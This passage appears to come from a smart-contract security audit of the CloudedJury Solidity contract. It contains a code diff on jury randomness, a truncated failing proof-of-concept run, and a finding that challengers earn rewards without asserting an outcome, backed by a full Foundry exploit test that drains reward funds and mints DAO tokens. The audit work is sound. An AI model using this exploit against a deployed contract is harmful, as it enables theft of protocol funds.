     function getMarketStoredInfo(uint256 _marketId) external view returns (
         uint256 creatorTokens, 
         uint256 challengerToken, 
         uint256 marketRevealedTS, 
         uint256 marketChallengedTS, 
         uint256 marketReveals, 
         uint256 juryOutcome, 
         uint256 votingOutcome, 
         bytes32 randomNumber, 
         bool    juryHasSelected, 
         bool    marketResolved
     ) {
         Market storage market = markets_[_marketId];
         creatorTokens      = market.creatorTokens;
         challengerToken    = market.challengerToken;
         marketRevealedTS   = market.marketRevealedTS;
         marketChallengedTS = market.marketChallengedTS;
         marketReveals      = market.marketReveals;
         juryOutcome        = market.juryOutcome;
         votingOutcome      = market.votingOutcome;
         randomNumber       = market.randomNumber;
         juryHasSelected    = market.juryHasSelected;
         marketResolved     = market.marketResolved;
     }
 
     function getMarketDerivedInfo(uint256 _marketId) external view returns (uint256 resolvedOutcome, uint8 status) {
         resolvedOutcome = _getResolvedMarketOutcome(_marketId);
         Status _current = _getMarketStatus(_marketId);
         status = uint8(_current > markets_[_marketId].status ? _current : markets_[_marketId].status);
     }
 
     function getUserTokenIds(address _userAddr) external view returns (uint256[] memory) { return tokenOf_[_userAddr].getAll(); }
 
     function getStakerMarketIds(address _stakerAddr) external view returns (uint256[] memory) { return marketOf_[_stakerAddr].getAll(); }
 
     function getStakerMarketTokenIds(address _stakerAddr, uint256 _marketId) external view returns (uint256[] memory creatorTokenIds, uint256[] memory challengerTokenIds, uint256[] memory stakerTokenIds) {
         creatorTokenIds    = marketCreatorTokenOf_[_stakerAddr][_marketId].getAll();
         challengerTokenIds = marketChallengerTokenOf_[_stakerAddr][_marketId].getAll();
         stakerTokenIds     = marketTokenOf_[_stakerAddr][_marketId].getAll();
     }
 
     function mint(uint256 _amount) external payable nonReentrant {
         if (whitelisted && !whitelisted_[msg.sender]) revert Whitelisted();
 
         if (_amount == 0) revert ZeroAmount();
 
         uint256 _mintPrice = 3 * _amount * DECIMALS; // The price for minting an NFT is 3 $HYPE
         if (msg.value < _mintPrice) revert InsufficientPayment();
 
         for (uint256 i = 0; i < _amount; i++) {
             _mint(msg.sender, nextTokenId_);
             nextTokenId_++;
         }
 
         IDAO(DAO).buyBack{value: _amount * DECIMALS / 100}();
 
         uint256 _refund = msg.value - _mintPrice;
         if (_refund > 0) {
             (bool _success, ) = msg.sender.call{value: _refund}("");
             if (!_success) revert RefundFailed();
         }
     }
 
     function redeem(uint256[] memory _tokenIds) external nonReentrant {
         uint256 _amount;
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
             _burn(_tokenIds[i]);
             _amount++;
         }
 
         if (_amount == 0) revert ZeroAmount();
 
         (bool _success, ) = msg.sender.call{value: _amount * 299 * DECIMALS / 100}("");
         if (!_success) revert RefundFailed();
     }
 
     function stake(uint256 _marketId, uint256[] memory _tokenIds, bytes32 _commitHash) external nonReentrant {
         if (_commitHash == 0) revert NoCommitHash();
         if (_tokenIds.length == 0) revert NoTokenSelected();
         if (_updateMarketStatus(_marketId) != Status.ONGOING) revert MarketEnded();
 
         uint256 _tokenId;
         Ids.Set storage marketStakes  = marketStakes_[_marketId];
         Ids.Set storage marketTokenOf = marketTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             _tokenId = _tokenIds[i];
             if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);
             marketStakes.add(_tokenId);
             marketTokenOf.add(_tokenId);
             tokenAddr_[_tokenId] = msg.sender;
             _update(address(this), _tokenId, msg.sender);
             emit Stake(msg.sender, _marketId, _tokenId);
         }
         marketOf_[msg.sender].add(_marketId);
         marketCommitHashOf_[msg.sender][_marketId] = _commitHash;
         emit StakeAfter(msg.sender, _marketId, marketStakes.getLength());
     }
 
     function unstake(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.ONGOING) revert MarketEnded();
 
         Ids.Set storage marketStakes  = marketStakes_[_marketId];
         Ids.Set storage marketTokenOf = marketTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (!marketTokenOf.isSet(_tokenIds[i])) revert NotStakedByOwner(_tokenIds[i]);
             marketStakes.remove(_tokenIds[i]);
             _unstake(_marketId, _tokenIds[i]);
         }
         if (marketTokenOf.getLength() == 0) delete marketCommitHashOf_[msg.sender][_marketId];
         if (marketCreatorTokenOf_[msg.sender][_marketId].getLength() == 0 && marketChallengerTokenOf_[msg.sender][_marketId].getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);
         emit UnstakeAfter(msg.sender, _marketId, marketStakes.getLength(), marketOf_[msg.sender].isSet(_marketId));
     }
 
     function createMarket(string memory _name, string memory _rule, string[] memory _outcomes, uint256 _days, uint256[] memory _tokenIds, uint256 _outcomePosition, uint256 _shares) external payable nonReentrant {
         if (_outcomePosition == 0 || _outcomePosition > _outcomes.length) revert InvalidId();
 
         uint256 _requiredTokenAmount = _getCurrentCreateMarketPrice();
         if (_tokenIds.length < _requiredTokenAmount) revert StakeRequiredAmounts();
 
         uint256 _nextMarketId = IClouded(CLOUDED).nextMarketId();
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
             marketCreatorTokenOf_[msg.sender][_nextMarketId].add(_tokenIds[i]);
             _update(address(this), _tokenIds[i], msg.sender);
             emit CreateMarket(msg.sender, _nextMarketId, _tokenIds[i]);
         }
 
         allOngoingMarketIds_.add(_nextMarketId);
         marketOf_[msg.sender].add(_nextMarketId);
         markets_[_nextMarketId].creatorTokens = _tokenIds.length;
 
         uint256[] memory _outcomeIds = IClouded(CLOUDED).createMarket(_name, _rule, _outcomes, _days);
         emit CreateMarketAfter(msg.sender, _nextMarketId, _name, _rule, _outcomeIds, _outcomes, block.timestamp, _days * 1 days);
 
         uint256 _outcomeId = _outcomeIds[_outcomePosition - 1];
         _creatorBuy(_nextMarketId, _outcomeId, _shares);
     }
 
     function revealOutcome(uint256 _marketId, uint256 _outcomeId, bytes32 _salt) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.JURY) revert JuryWindowEnded();
         if (IClouded(CLOUDED).getOutcomeMarketId(_outcomeId) != _marketId) revert InvalidId();
         if (marketHasRevealedOf_[msg.sender][_marketId]) revert OutcomeRevealed();
         marketHasRevealedOf_[msg.sender][_marketId] = true;
 
         bytes32 _commitHash = marketCommitHashOf_[msg.sender][_marketId];
         if (_commitHash == 0) revert NoCommitHash();
         if (keccak256(abi.encodePacked(msg.sender, _marketId, _outcomeId, _salt)) != _commitHash) revert WrongCommitHash();
         marketOutcomeOf_[msg.sender][_marketId] = _outcomeId;
 
         Market storage market = markets_[_marketId];
-        market.randomNumber   = market.randomNumber ^ _salt;
 
         market.marketReveals     += marketTokenOf_[msg.sender][_marketId].getLength();
         if (market.marketReveals == marketStakes_[_marketId].getLength()) market.marketRevealedTS = block.timestamp;
 
         uint256 _winningOutcomeId;
         uint256 _winningOutcomeCount;
         uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
         marketOutcomeCount_[_marketId][_outcomeId] += marketTokenOf_[msg.sender][_marketId].getLength();
         for (uint256 i = 0; i < _marketOutcomeIds.length; i++) {
             if (marketOutcomeCount_[_marketId][_marketOutcomeIds[i]] > _winningOutcomeCount) {
                 _winningOutcomeId    = _marketOutcomeIds[i];
                 _winningOutcomeCount = marketOutcomeCount_[_marketId][_marketOutcomeIds[i]];
             }
         }
         market.juryOutcome = _winningOutcomeId;
 
         emit RevealOutcome(_marketId, msg.sender, _outcomeId, market.randomNumber, market.marketReveals, market.marketRevealedTS, market.juryOutcome);
     }
 
     function selectJury(uint256 _marketId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
 
-        if (markets_[_marketId].juryHasSelected) revert JurySelected(true);
-        markets_[_marketId].juryHasSelected = true;
+        Market storage market = markets_[_marketId];
+        if (market.juryHasSelected) revert JurySelected(true);
+        market.juryHasSelected = true;
+        market.randomNumber = keccak256(abi.encodePacked(block.prevrandao, _marketId, address(this)));
 
         uint256 _attempt;
         Ids.Set storage marketStakes = marketStakes_[_marketId];
         uint256 _totalStakedTokens   = marketStakes.getLength();
         uint256 _jurySet             = _totalStakedTokens == 0 ? 0 : _totalStakedTokens < 5 ? 1 : _totalStakedTokens / 5 < 300 ? _totalStakedTokens / 5 : 300;
         while (_attempt < _jurySet) {
-            uint256 _position = _attempt + uint256(keccak256(abi.encodePacked(markets_[_marketId].randomNumber, _attempt))) % (marketStakes.getLength() - _attempt);
+            uint256 _position = _attempt + uint256(keccak256(abi.encodePacked(market.randomNumber, _attempt))) % (marketStakes.getLength() - _attempt);
             marketStakes.swap(_attempt, _position);
 
             uint256 _tokenId        = marketStakes.getId(_attempt);
             address _tokenOwner     = tokenAddr_[_tokenId];
             uint256 _tokenOutcomeId = marketOutcomeOf_[_tokenOwner][_marketId];
             if (_tokenOutcomeId != 0) {
                 marketJuryStakes_[_marketId].add(_tokenId);
                 juryOutcomeCount_[_marketId][_tokenOutcomeId]++;
                 emit SelectJury(_marketId, _tokenId, _tokenOutcomeId, _tokenOwner);
             }
 
             _attempt++;
         }
     }
 
     // Challenge can only be made once every market. 
     // The token will be rewarded if the voters also agree with the same outcome, 
     // but will be slashed for being wrong.
     function challenge(uint256 _marketId, uint256 _tokenId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
         if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);
 
         Market storage market = markets_[_marketId];
         if (!market.juryHasSelected) revert JurySelected(false);
         if (market.marketChallengedTS != 0) revert MarketAlreadyChallenged();
         market.marketChallengedTS = block.timestamp;
         market.challengerToken++;
 
         marketOf_[msg.sender].add(_marketId);
         marketChallengerTokenOf_[msg.sender][_marketId].add(_tokenId);
 
         _update(address(this), _tokenId, msg.sender);
 
         emit Challenge(msg.sender, _marketId, _tokenId, block.timestamp);
     }
 
     function resolveMarket(uint256 _marketId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
 
         Market storage market = markets_[_marketId];
         if (market.marketResolved) revert MarketResolved(true);
         market.marketResolved = true;
 
         allOngoingMarketIds_.remove(_marketId);
         allResolvedMarketIds_.add(_marketId);
 
         bool _isMarketChallenged = market.marketChallengedTS != 0;
         if (_isMarketChallenged) {
             uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
             uint256[] memory _marketOutcomes   = new uint256[](_marketOutcomeIds.length);
             for (uint256 i = 0; i < _marketOutcomeIds.length; i++) _marketOutcomes[i] = IDAO(DAO).outcomeVotes(_marketOutcomeIds[i]);
             market.votingOutcome = _calculateMarketOutcome(_marketOutcomeIds, _marketOutcomes);
         }
 
         uint256 _resolvedOutcomeId = _getResolvedMarketOutcome(_marketId);
         _sendSlashedTokenValueToDao(_marketId, _resolvedOutcomeId);
 
         emit ResolveMarket(_marketId, market.votingOutcome, _resolvedOutcomeId);
     }
 
     function claimReward(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
         if (!markets_[_marketId].marketResolved) revert MarketResolved(false);
 
         uint256 _currentTokenId;
         uint256 _marketOutcome = _getResolvedMarketOutcome(_marketId);
         uint256 _outcomeOf     = marketOutcomeOf_[msg.sender][_marketId];
         (, uint256 _daysOf)    = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
         (, uint256 _totalWinnerOutcomeStakes)   = _getSlashedAndRewardedTokens(_marketId, _marketOutcome);
         Market  storage market                  = markets_[_marketId];
         Ids.Set storage marketTokenOf           = marketTokenOf_[msg.sender][_marketId];
         Ids.Set storage marketCreatorTokenOf    = marketCreatorTokenOf_[msg.sender][_marketId];
         Ids.Set storage marketChallengerTokenOf = marketChallengerTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             _currentTokenId = _tokenIds[i];
 
             if (marketCreatorTokenOf.isSet(_currentTokenId)) { _claimCreatorToken(_marketId, _currentTokenId); continue; }
 
             if (marketChallengerTokenOf.isSet(_currentTokenId)) {
                 if (market.juryOutcome != _marketOutcome) { // market.juryOutcome can be 0 if challenged
                     _claimChallengerReward(_marketId, _currentTokenId, _totalWinnerOutcomeStakes);
                     if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
                 } else _slash(_marketId, _outcomeOf, _currentTokenId); // Challenger has no vote on market outcome
                 continue;
             }
 
             if (!marketTokenOf.isSet(_currentTokenId)) continue; // The token is not creator, challenger, staker token, or belong to the market or caller
 
             if (!marketHasRevealedOf_[msg.sender][_marketId]) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; }
 
             if (marketJuryStakes_[_marketId].isSet(_currentTokenId)) {
                 if (_outcomeOf != _marketOutcome) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; } // The jury outcome is also checked and slashed if 0, equivalent to _getSlashedAndRewardedTokens
                 else if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
             }
 
             _unstake(_marketId, _currentTokenId);
 
             uint256 _tokenReward;
             if (_outcomeOf == _marketOutcome) _tokenReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _marketId, _totalWinnerOutcomeStakes);
 
             emit ClaimJuryReward(msg.sender, _marketId, _currentTokenId, _tokenReward);
         }
 
         if (marketCreatorTokenOf.getLength() == 0 && marketChallengerTokenOf.getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);
 
         emit ClaimRewardAfter(msg.sender, _marketId, marketOf_[msg.sender].isSet(_marketId));
     }
 
     function _getCurrentCreateMarketPrice() private view returns (uint256) { return totalSupply_ / 100 > 5 ? totalSupply_ / 100 : 5; }
 
     function _update(address _to, uint256 _tokenId, address _auth) internal override returns (address) {
         address from = super._update(_to, _tokenId, _auth);
 
         if (from == address(0)) totalSupply_++;
         if (_to == address(0)) totalSupply_--;
 
         if (from != address(0)) tokenOf_[from].remove(_tokenId);
         if (_to != address(0)) tokenOf_[_to].add(_tokenId);
 
         return from;
     }
 
     function _updateMarketStatus(uint256 _marketId) private returns (Status) {
         if (_marketId == 0 || _marketId >= IClouded(CLOUDED).nextMarketId()) revert InvalidId();
         Market storage market = markets_[_marketId];
         Status _currentMarketStatus = _getMarketStatus(_marketId);
         if (_currentMarketStatus > market.status) market.status = _currentMarketStatus;
         return market.status;
     }
 
     function _getMarketStatus(uint256 _marketId) private view returns (Status) {
         (uint256 _startAt, uint256 _daysOf) = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
         uint256 _marketEndAt = _startAt + _daysOf;
 
         Market storage market = markets_[_marketId];
         uint256 _currentTimestamp = block.timestamp;
 
         if (_currentTimestamp < _marketEndAt) return Status.ONGOING;
 
         if (market.marketRevealedTS == 0 && _currentTimestamp < _marketEndAt + 1 days) return Status.JURY;
 
         uint256 _challengeStart = market.marketRevealedTS != 0 ? market.marketRevealedTS : _marketEndAt + 1 days;
 
         if (market.marketChallengedTS != 0) return _currentTimestamp >= market.marketChallengedTS + 3 days ? Status.SETTLED : Status.VOTING;
 
         return _currentTimestamp < _challengeStart + 1 days ? Status.APPEAL : Status.SETTLED;
     }
 
     function _creatorBuy(uint256 _nextMarketId, uint256 _outcomeId, uint256 _shares) private {
         uint256 _executionPrice = IClouded(CLOUDED).getPriceAppreciation(_outcomeId, true, _shares);
         if (msg.value < _executionPrice) revert InsufficientPayment();
 
         IClouded(CLOUDED).buy{value: _executionPrice}(msg.sender, _nextMarketId, _outcomeId, _shares, _executionPrice, 0);
 
         if (msg.value - _executionPrice > 0) {
             (bool _success, ) = msg.sender.call{value: msg.value - _executionPrice}("");
             if (!_success) revert RefundFailed();
         }
     }
 
     function _unstake(uint256 _marketId, uint256 _tokenId) private {
         marketTokenOf_[msg.sender][_marketId].remove(_tokenId);
         delete tokenAddr_[_tokenId];
         _update(msg.sender, _tokenId, address(this));
         emit Unstake(msg.sender, _marketId, _tokenId);
     }
 
     function _calculateMarketOutcome(uint256[] memory _marketOutcomeIds, uint256[] memory _marketOutcomes) private pure returns (uint256) {
         uint256 _winningOutcome;
         uint256 _winningAmount;
         for (uint256 i = 0; i < _marketOutcomes.length; i++) {
             if (_marketOutcomes[i] > _winningAmount) {
                 _winningOutcome = _marketOutcomeIds[i];
                 _winningAmount  = _marketOutcomes[i];
             }
         }
         return _winningOutcome;
     }
 
     function _slash(uint256 _tokenMarketId, uint256 _tokenOutcomeId, uint256 _tokenId) private {
         marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
         marketTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
         delete tokenAddr_[_tokenId];
         emit Slash(msg.sender, _tokenMarketId, _tokenOutcomeId, _tokenId);
     }
 
     function _sendSlashedTokenValueToDao(uint256 _marketId, uint256 _marketResolvedOutcomeId) private {
         (uint256 _slashedTokens, ) = _getSlashedAndRewardedTokens(_marketId, _marketResolvedOutcomeId);
         if (_slashedTokens > 0) {
             totalSupply_ -= _slashedTokens;
             IDAO(DAO).buyBack{value: _slashedTokens * 299 * DECIMALS / 100}();
             emit SendSlashedTokenToDAO(_marketId, _slashedTokens, _slashedTokens * 299 * DECIMALS / 100);
         }
     }
 
     function _getSlashedAndRewardedTokens(uint256 _marketId, uint256 _marketOutcome) private view returns (uint256 slashedTokens, uint256 winnerOutcomeStakes) {
         Market storage market = markets_[_marketId];
         uint256 _juryOutcome              = market.juryOutcome;
         uint256 _marketChallengerToken    = market.challengerToken;
         bool    _isChallengerTokenSlashed = _marketOutcome == _juryOutcome;
 
         slashedTokens = marketJuryStakes_[_marketId].getLength() - juryOutcomeCount_[_marketId][_marketOutcome];
 
         if (_isChallengerTokenSlashed) {
             slashedTokens += _marketChallengerToken;
             _marketChallengerToken = 0;
         }
 
         winnerOutcomeStakes = _marketChallengerToken + marketOutcomeCount_[_marketId][_marketOutcome];
 
         slashedTokens += marketStakes_[_marketId].getLength() - market.marketReveals; // Total slashed tokens including tokens not revealed
     }
 
     function _getResolvedMarketOutcome(uint256 _marketId) private view returns (uint256) {
         Market storage market = markets_[_marketId];
         if (!market.marketResolved)    return 0;
         if (market.votingOutcome != 0) return market.votingOutcome;
         if (market.juryOutcome != 0)   return market.juryOutcome;
         return IClouded(CLOUDED).getMarketWinningOutcome(_marketId);
     }
 
     function _claimCreatorToken(uint256 _tokenMarketId, uint256 _currentTokenId) private {
         marketCreatorTokenOf_[msg.sender][_tokenMarketId].remove(_currentTokenId);
         _update(msg.sender, _currentTokenId, address(this));
         emit ClaimCreatorToken(msg.sender, _tokenMarketId, _currentTokenId);
     }
 
     function _claimChallengerReward(uint256 _tokenMarketId, uint256 _currentTokenId, uint256 _totalOutcomeStakes) private {
         marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_currentTokenId);
         _update(msg.sender, _currentTokenId, address(this));
 
         uint256 _challengerReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _tokenMarketId, _totalOutcomeStakes);
 
         emit ClaimChallengerReward(msg.sender, _tokenMarketId, _currentTokenId, _challengerReward);
     }
 
     error NotAuthorized();
     error Whitelisted();
     error ZeroAmount();
     error InvalidId();
     error RefundFailed();
     error NoTokenSelected();
     error OutcomeRevealed();
     error WrongCommitHash();
     error NoCommitHash();
     error MarketEnded();
     error MarketNotEnded();
     error JuryWindowEnded();
     error AppealWindowEnded();
     error MarketAlreadyChallenged();
     error NotOwner(uint256 tokenId);
     error NotStakedByOwner(uint256 tokenId);
     error JurySelected(bool selected);
     error MarketResolved(bool resolved);
     error InsufficientPayment();
     error StakeRequiredAmounts();
 }
\ No newline at end of file

Affected files

  • CloudedJury.sol

Validation output

[output truncated: 1171 lines & 64.6611328125 KB skipped]
Ran 1 test suite in 10.61ms (3.88ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/Poc.t.sol:PocTest
[FAIL: late revealer can observe current XOR seed before deciding: 0x0000000000000000000000000000000000000000000000000000000000000000 != 0x0000000000000000000000000000000000000000000000000000000000004444] test_revealWithholdingLetsLateJurorChooseFavorableJurySelection() (gas: 4840661)

Encountered a total of 1 failing tests, 0 tests succeeded

Tip: Run `forge test --rerun` to retry only the 1 failed test
Tip: Run `forge test --debug --match-test <TEST_NAME>` to inspect one failing test in the debugger

Challengers are rewarded without committing to an outcome

High#298781Validity: Unreviewed

Comment:

By design. Challengers are rewarded for correcting the jury outcome.

Source locations

Uploaded archive/CloudedJury.sol (3 locations)

Lines 405-424 — _challenge() records no asserted outcome_ — _challenge() stores no challenger-asserted outcome_

    // Challenge can only be made once every market. 
    // The token will be rewarded if the voters also agree with the same outcome, 
    // but will be slashed for being wrong.
    function challenge(uint256 _marketId, uint256 _tokenId) external nonReentrant {
        if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
        if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);

        Market storage market = markets_[_marketId];
        if (!market.juryHasSelected) revert JurySelected(false);
        if (market.marketChallengedTS != 0) revert MarketAlreadyChallenged();
        market.marketChallengedTS = block.timestamp;
        market.challengerToken++;

        marketOf_[msg.sender].add(_marketId);
        marketChallengerTokenOf_[msg.sender][_marketId].add(_tokenId);

        _update(address(this), _tokenId, msg.sender);

        emit Challenge(msg.sender, _marketId, _tokenId, block.timestamp);
    }
⋯ code omitted for brevity ⋯

Lines 466-474 — _claimReward() challenger branch keyed only on juryOutcome vs resolved outcome_ — _reward/slash decision uses juryOutcome != resolvedOutcome as proxy for challenger correctness, exploitable when juryOutcome stays 0_

            if (marketCreatorTokenOf.isSet(_currentTokenId)) { _claimCreatorToken(_marketId, _currentTokenId); continue; }

            if (marketChallengerTokenOf.isSet(_currentTokenId)) {
                if (market.juryOutcome != _marketOutcome) { // market.juryOutcome can be 0 if challenged
                    _claimChallengerReward(_marketId, _currentTokenId, _totalWinnerOutcomeStakes);
                    if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
                } else _slash(_marketId, _outcomeOf, _currentTokenId); // Challenger has no vote on market outcome
                continue;
            }
⋯ code omitted for brevity ⋯

Lines 603-609 — _resolved outcome falls back to Clouded's independent winning-outcome computation when both juryOutcome and votingOutcome are 0_

    function _getResolvedMarketOutcome(uint256 _marketId) private view returns (uint256) {
        Market storage market = markets_[_marketId];
        if (!market.marketResolved)    return 0;
        if (market.votingOutcome != 0) return market.votingOutcome;
        if (market.juryOutcome != 0)   return market.juryOutcome;
        return IClouded(CLOUDED).getMarketWinningOutcome(_marketId);
    }

Description

The challenge flow locks a challenger NFT and records the existence of a challenge, but it neither accepts nor stores an outcome that the challenger asserts. Despite the documented semantics that a challenger should be rewarded only when voters agree with that outcome, settlement instead rewards challenger tokens whenever market.juryOutcome != _marketOutcome and slashes them otherwise. Consequently, this comparison measures only divergence between the jury and final resolution, rather than whether the challenger made a correct claim. The condition is especially readily satisfied when juryOutcome remains 0, while _getResolvedMarketOutcome falls back to Clouded's independently computed nonzero outcome. A challenger can therefore receive _claimChallengerReward and, when the reveal-count condition holds, a DAO mint without committing to or being correct about any disputed outcome.

Root cause

challenge() does not record a challenger-asserted outcome, while claimReward() substitutes market.juryOutcome != _marketOutcome for challenger correctness.

Impact

An actor can challenge a market with a zero or divergent jury outcome and receive a share of the jury reward pool even though they never asserted a verifiable position. Where the DAO-mint condition is met, the same path also mints DAO tokens to the challenger, causing token-supply dilution alongside leakage of protocol reward funds.

Proof of concept

Test case

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test} from "forge-std/Test.sol";
import {Clouded} from "../src/Clouded.sol";
import {CloudedDAO} from "../src/CloudedDAO.sol";
import {CloudedJury} from "../src/CloudedJury.sol";
import {CloudedManager} from "../src/CloudedManager.sol";

/// @dev Code is etched at CloudedManager's hard-coded governance-token address.
contract ManagerTokenMock {
    mapping(address => uint256) private balances;
    uint256 private supply;

    function configure(address holder, uint256 amount) external {
        supply = amount;
        balances[holder] = amount;
    }

    function balanceOf(address account) external view returns (uint256) {
        return balances[account];
    }

    function totalSupply() external view returns (uint256) {
        return supply;
    }
}

contract PocTest is Test {
    address internal constant GOVERNANCE_TOKEN = 0x668f6C73b2e6d023f758B18973065Ce2c11BDD7B;
    address internal admin = makeAddr("manager-admin");
    address internal creator = makeAddr("market-creator");
    address internal challenger = makeAddr("challenger");
    address internal trader = makeAddr("trader");

    CloudedManager internal manager;
    CloudedJury internal jury;
    Clouded internal clouded;
    CloudedDAO internal dao;

    function setUp() public {
        ManagerTokenMock implementation = new ManagerTokenMock();
        vm.etch(GOVERNANCE_TOKEN, address(implementation).code);
        ManagerTokenMock(GOVERNANCE_TOKEN).configure(admin, 100 ether);

        manager = new CloudedManager();
        jury = new CloudedJury("Clouded Jury", "JURY", address(manager));
        clouded = new Clouded("ipfs://clouded/", address(manager), address(jury));
        dao = new CloudedDAO("Clouded DAO", "CDAO", address(jury), address(clouded));

        vm.startPrank(admin);
        manager.updateJuryAddrs(address(jury), address(clouded), address(dao));
        manager.updateCloudedAddr(address(clouded));
        manager.addToWhitelist(creator);
        manager.addToWhitelist(challenger);
        vm.stopPrank();

        vm.deal(creator, 100 ether);
        vm.deal(challenger, 100 ether);
        vm.deal(trader, 100 ether);

        vm.prank(creator);
        jury.mint{value: 15 ether}(5);
    }

    function _createMarket() internal returns (uint256[] memory outcomeIds, uint256 startAt) {
        string[] memory outcomes = new string[](2);
        outcomes[0] = "YES";
        outcomes[1] = "NO";
        uint256[] memory collateral = jury.getUserTokenIds(creator);

        uint256 creationBuyPrice = clouded.getPriceAppreciation(1, true, 10);
        vm.prank(creator);
        jury.createMarket{value: creationBuyPrice}(
            "Will exploit reward?",
            "Resolve YES if this exploit executes successfully.",
            outcomes,
            1,
            collateral,
            1,
            10
        );

        (, , outcomeIds, startAt, , , , ) = clouded.getMarketInfo(1);
    }

    function test_challengerGetsRewardAndDaoMintWithoutAssertingOutcome() public {
        (uint256[] memory outcomeIds, uint256 startAt) = _createMarket();
        uint256 cloudedFallbackOutcome = clouded.getMarketWinningOutcome(1);
        assertEq(cloudedFallbackOutcome, outcomeIds[0], "creator buy makes outcome 1 Clouded's nonzero fallback winner");

        vm.prank(challenger);
        jury.mint{value: 3 ether}(1);
        uint256 challengerTokenId = jury.getUserTokenIds(challenger)[0];

        // No ordinary jurors stake or reveal.  selectJury() still sets juryHasSelected=true
        // with an empty jury set, and challenge() accepts only a token id: the challenger
        // never supplies an asserted outcome to be checked later.
        vm.warp(startAt + 2 days);
        assertEq(jury.updateMarketStatus(1), 2, "market is in APPEAL");
        jury.selectJury(1);

        vm.prank(challenger);
        jury.challenge(1, challengerTokenId);

        (
            uint256 creatorTokens,
            uint256 challengerTokens,
            ,
            uint256 challengedAt,
            uint256 marketReveals,
            uint256 juryOutcome,
            uint256 votingOutcome,
            ,
            bool juryHasSelected,
            bool marketResolvedBefore
        ) = jury.getMarketStoredInfo(1);
        assertEq(creatorTokens, 5, "creator collateral exists");
        assertEq(challengerTokens, 1, "challenger token was locked");
        assertGt(challengedAt, 0, "challenge was recorded");
        assertEq(marketReveals, 0, "no juror revealed");
        assertEq(juryOutcome, 0, "no jury outcome exists");
        assertEq(votingOutcome, 0, "no DAO vote outcome exists");
        assertTrue(juryHasSelected, "empty jury selection was accepted");
        assertFalse(marketResolvedBefore, "not resolved yet");
        assertEq(jury.ownerOf(challengerTokenId), address(jury), "challenger NFT is locked");

        vm.warp(challengedAt + 3 days);
        jury.resolveMarket(1);

        (uint256 resolvedOutcome, uint8 status) = jury.getMarketDerivedInfo(1);
        assertEq(status, 4, "market settled");
        assertEq(resolvedOutcome, cloudedFallbackOutcome, "resolution fell back to Clouded trading-share winner");
        bool marketResolvedAfter;
        (, , , , , juryOutcome, votingOutcome, , , marketResolvedAfter) = jury.getMarketStoredInfo(1);
        assertTrue(marketResolvedAfter, "market resolved");
        assertEq(juryOutcome, 0, "challenger still has no jury outcome to compare against");
        assertEq(votingOutcome, 0, "challenger still has no voter-approved outcome");

        uint256 ethBefore = challenger.balance;
        uint256 daoBefore = dao.balanceOf(challenger);

        uint256[] memory claimTokens = new uint256[](1);
        claimTokens[0] = challengerTokenId;
        vm.prank(challenger);
        jury.claimReward(1, claimTokens);

        assertEq(jury.ownerOf(challengerTokenId), challenger, "challenger NFT was returned, not slashed");
        assertGt(challenger.balance, ethBefore, "challenger received jury reward funds");
        assertGt(dao.balanceOf(challenger), daoBefore, "challenger received DAO mint");
        assertEq(dao.balanceOf(challenger) - daoBefore, 1 ether, "one day market mints one DAO token unit");
    }
}

Setup script

#!/bin/bash
set -e

# Standalone PoC reproduction. Run from the repository root of a checkout at
# the audited commit, with the language toolchain installed.

# Place the downloaded PoC files at these paths before running:
#   test/Poc.t.sol

# build and run
cp Clouded.sol CloudedDAO.sol CloudedJury.sol CloudedManager.sol src/ && forge build
forge test --match-path test/Poc.t.sol -vv

Output

[output truncated: 1172 lines & 64.2041015625 KB skipped]
[test] forge test --match-path test/Poc.t.sol -vv
[test] exit code: 0

No files changed, compilation skipped

Ran 1 test for test/Poc.t.sol:PocTest
[PASS] test_challengerGetsRewardAndDaoMintWithoutAssertingOutcome() (gas: 2493596)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.45ms (1.42ms CPU time)

